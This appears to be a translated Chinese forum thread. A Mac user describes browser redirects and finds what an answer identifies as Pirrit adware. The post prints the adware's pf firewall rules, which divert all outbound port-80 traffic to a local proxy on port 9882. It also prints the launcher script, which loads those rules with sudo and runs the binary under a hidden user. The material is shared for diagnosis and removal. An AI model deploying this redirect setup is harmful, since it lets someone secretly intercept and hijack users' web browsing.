最近,當我在 MBP 10.10.5 Yosemite 中瀏覽網頁時,我開始注意到 Chrome Canary 版本 53 開啟了新分頁或某些頁面未開啟...此分頁將我重定向到隨機頁面。
我啟動了防火牆並注意到一個進程呼叫pseudoHydrophobia正在嘗試開啟傳入連接
/etc/pseudoHydrophobia.conf
rdr pass inet proto tcp from en0 to any port 80 -> 127.0.0.1 port 9882
pass out on en0 route-to lo0 inet proto tcp from en0 to any port 80 keep state
pass out proto tcp all user volutate
/etc/pseudohydrophobia.sh
#!/bin/sh
if [ -a /Library/pseudohydrophobia/Contents/MacOS/pseudohydrophobia ];
then
sleep 10
sudo pfctl -evf /etc/pseudohydrophobia.conf
sudo -u volutate /Library/pseudohydrophobia/Contents/MacOS/pseudohydrophobia
fi
exit 0
連接埠:
netstat -an | grep 9882
tcp4 0 0 *.9882 *.* LISTEN
/etc/pseudoHydrophobia.conf
rdr pass inet proto tcp from en0 to any port 80 -> 127.0.0.1 port 9882
pass out on en0 route-to lo0 inet proto tcp from en0 to any port 80 keep state
pass out proto tcp all user volutate
我將刪除所有這些腳本和二進位文件,但想將其發布,因為沒有找到任何 Google 參考。
答案1
看一眼https://objective-see.com/blog/blog_0x0E.html
侵入性跨平台廣告軟體分析; OSX/皮里特
這可能是 Pirrit 惡意軟體。
使用者名稱volutate
和檔案名稱 ( pseudohydrophobia
) 無疑是隨機產生的,但連接埠號碼 9882 是相同的...